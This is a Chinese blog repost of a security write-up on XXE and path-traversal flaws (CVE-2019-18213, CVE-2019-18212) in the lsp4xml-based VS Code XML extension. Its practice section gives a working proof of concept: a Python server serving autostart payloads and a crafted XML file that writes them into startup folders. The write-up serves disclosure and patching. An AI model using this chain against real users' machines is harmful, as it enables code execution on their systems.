.sh文件是什么语言_VSCode 打开 XML 文件可能导致命令执行

ba85dfe401fe03ba5f46e1e71fba7649.png

2019 年中,XXE 漏洞“横行”,相比以往而言,XXE 漏洞额外的多。例如:通过 OpenCMS 利用 Apache Solr

LSP4XML(XML 语言服务器)

是一个XML语言具体实现语言服务器协议,可与任何编辑器使用支持该协议,以提供良好的支持XML语言。

https://github.com/angelozerr/lsp4xml

用于解析 VSCode-XML 中的 XML 文件,Eclipse 的 wildwebdeveloper,theia-xml等的库。受到 XXE(CVE-2019-18213)的影响,通过打开恶意 XML 文件可导致 RCE(CVE-2019-18212)被利用。

7c353b76602078ac3f7807f40b8a9820.png
CVE-2019-18213:XXE https:// nvd.nist.gov/vuln/detai l/CVE-2019-18213
适用于 Visual Studio 和其他产品的 0.9.1 之前的 Red Hat XML 语言拓展(aka vscode-xml)中使用的 0.9.1 之前的 XML 语言服务器(aka lsp4xml)允许通过精心制作的 XML 文档进行 XXE,并生成 SSRF 及 SMB 连接启动等。存在于extensions / contentmodel / participants / diagnostics / LSPXMLParserConfiguration.java 中。
CVE-2019-18212:目录遍历 https:// nvd.nist.gov/vuln/detai l/CVE-2019-18212
0.9.1 之前的 XML 语言服务器(aka lsp4xml)中的 XMLLanguageService.java(用于 Visual Studio 和其他产品的 0.9.1 之前的 Red Hat XML 语言拓展(aka vscode-xml))允许远程攻击者通过目录遍历写入任意文件。

XXE 奇遇

拿一个标准的 XXE payload,并带有指向我们监听网络服务器的外部 DTD,目标服务器无法执行对互联网的 HTTP 请求,所以按道理只会存在一个 DNS 的交互过程,但是随后收到了两个不同的 DNS 交互和一个 HTTP 请求,这是为什么?

探究

在我尝试找出交互的原因时,发现 HTTP 请求来自我自己的 IP 地址,这就奇怪了。

为了一探究竟,当我在 VS Code 中保存新的 XML payload 时,使用新的 Burp Collaborator 实例作为回调服务器重播所有操作步骤,并触发了 XXE。不过,可能和 VS Code 并没有任何关系。。。

所有,先检查了一遍 VS Code 的配置和插件等,然后发现安装了一个名为 XML 的插件,由 RedHat 发布的。(应该是 VS Code 推荐安装的)

2195a262c228b4159666652390b463c8.png
XML 该拓展插件的作用是提供了对创建和编辑 XML 文档的支持,它基于使用 Java 运行的 LSP4XML 语言服务器。

第一想到的就是禁用它,然后再进行后面的实验步骤。

VSCode-XML 使你可以打开 XML / DTD / XSTL / XSD 文件并解析它们的语法错误,重点是根据 DTD / XSD 定义验证 XML / XSTL 文件。

可知 XXE 漏洞本身在于 LSP4XML:在安装了 VSCode-XML 的 VS Code 中打开 XML 文件编辑或保存时,LSP4XML 在本地解析文件并在 VS Code 界面中报错。

以此构造一个恶意文件,当安装了 VSCode-XML 的 VS Code 的目标打开该 XML 文件时,实现一系列利用操作。

尝试了在这种情况下使用的常见渗透方法,但是由于最近的 Java 版本(1.8+)和 URL 解析的结合,所有操作都失败了。

可以执行的只有:

  • 盲 SSRF
  • Windows 上的 NetNTLMv2 渗透

实验

在玩 XXE 时,发现一种奇怪的的行为:url 仅搜索一次,再次进行操作就不会去搜索。应该是存在某种缓存机制,将 DTD 的文件下载并存储在某个地方。

缓存机制:

  1. 解析 XML 文件
  2. 如果引用了外部实体,则注明其 URL
  3. 通过检查目录 $HOME/.lsp4xml/cache/http/$host/$path_of_file,使用指定的 URL 验证来自同一主机的文件是否已被缓存
  4. 如果缓存条目不存在,则文件被下载并移至$HOME/.lsp4xml/cache/http/$host/$path_of_file

那么问题来了,路径能不能被控制?

如果外部实体 URL 路径中包含 ../ 会发生什么?

经实验,缓存过程在保存缓存文件时会受到路径遍历的影响,从而可以在任意本地目录中写入任意远程文件。如果尚未创建所需的文件夹结构,此过程也能实现。

从 XXE 到 RCE

漏洞存在的原因是在缓存的最后一步,如果缓存条目不存在,则文件被下载并移至对应的目录,其中参数 $path_of_file 可被控制,比如外部实体的 URL 为:

http://attack.er/../../../../Desktop/test.txt

缓存文件将被写入 $HOME/Desktop/test.txt,从而导致任意文件写入。

唯一的限制就是缓存机制的第 3 点,因此无法覆盖任何文件,并且所有操作都是使用当前用户权限完成的(因此,如果当前用户是管理员,我们可以在任何地方写,否则只能在其主目录可写)。

可以通过滥用启动/自动启动机制来轻松实现RCE:

  • 在 Windows 系统上,通过将批处理文件引用为外部实体并使用遍历路径将其写入 $HOMEAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup 文件夹中。
  • 在大多数 GNU/Linux 系统上,通过在 $HOME/.config/autostart/ 文件夹中编写一个“desktop”文件。

只需要等待受害者注销并再次在其计算机上登录以获得执行的代码即可。

影响

在完成 LSP4XML 的利用链之后,除 VSCode-XML 之外,还发现 Eclipse 的 wildwebdeveloper 扩展和 theia-xml-extension 也在使用该库,因此都容易受到攻击。

实践

以下是在 Windows 和 GNU/Linux 系统上利用 XXE 并实现 RCE 的步骤:

首先,安装 VS Code 和 vscode-xml 扩展<0.9.1版本(注意:目前最新为 0.10.1)。

创建 server.py(Python3)并运行

#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
 
class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'application/octet-stream')
        self.end_headers()
        if '.desktop' in self.path:
            self.wfile.write(b'[Desktop Entry]nName=ExploitnGenericName=nComment=nExec=sh -c "id;read"nTerminal=truenType=ApplicationnX-GNOME-Autostart-enabled=true')	
        else:
            self.wfile.write(b'start cmd.exe /k "whoami"')
        
def run(server_class=HTTPServer, handler_class=RequestHandler, port=9000):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print('Starting httpd on port {}...'.format(port))
    httpd.serve_forever()
 
run()

在 VS code 中新建文件并输入:

<?xml version="1.0"?>
<!DOCTYPE r [ 
    <!ENTITY linux SYSTEM "http://127.0.0.1:9000/../../../../.config/autostart/cmd.desktop">
    <!ENTITY windows SYSTEM "http://127.0.0.1:9000/../../../../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/cmd.bat"> 
]>
<r>&linux;&windows;</r>

然后保存该 XML 文件。

观察对 Python3 Web 服务器的请求,当用户执行注销或登录,将执行注入命令(在 Windows 上打开“命令提示符”并执行 whoami 命令,在 GNU/Linux 上打开终端并执行 id 命令)

具体操作:https://www.shielder.it/blog/wp-content/uploads/2019/10/Video-xxe-3.gif

防范

及时更新插件 VS Code-XML 的版本。

源自:https://www.shielder.it/blog/dont-open-that-xml-xxe-to-rce-in-xml-plugins-for-vs-code-eclipse-theia/

二向箔安全的网络安全技能包更新了!CISP-PTE 认证技能包,让你免费体验 CISP-PTE 认证内容。

0ad00186d6a4fe83e980308a130a3d57.png

更多有关渗透测试的内容请前往二向箔安全进行学习,最近推出了“挖洞”班,想了解更多资讯的,可咨询客服微信 twosecurity02

178ca673a277f1221300749426088908.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值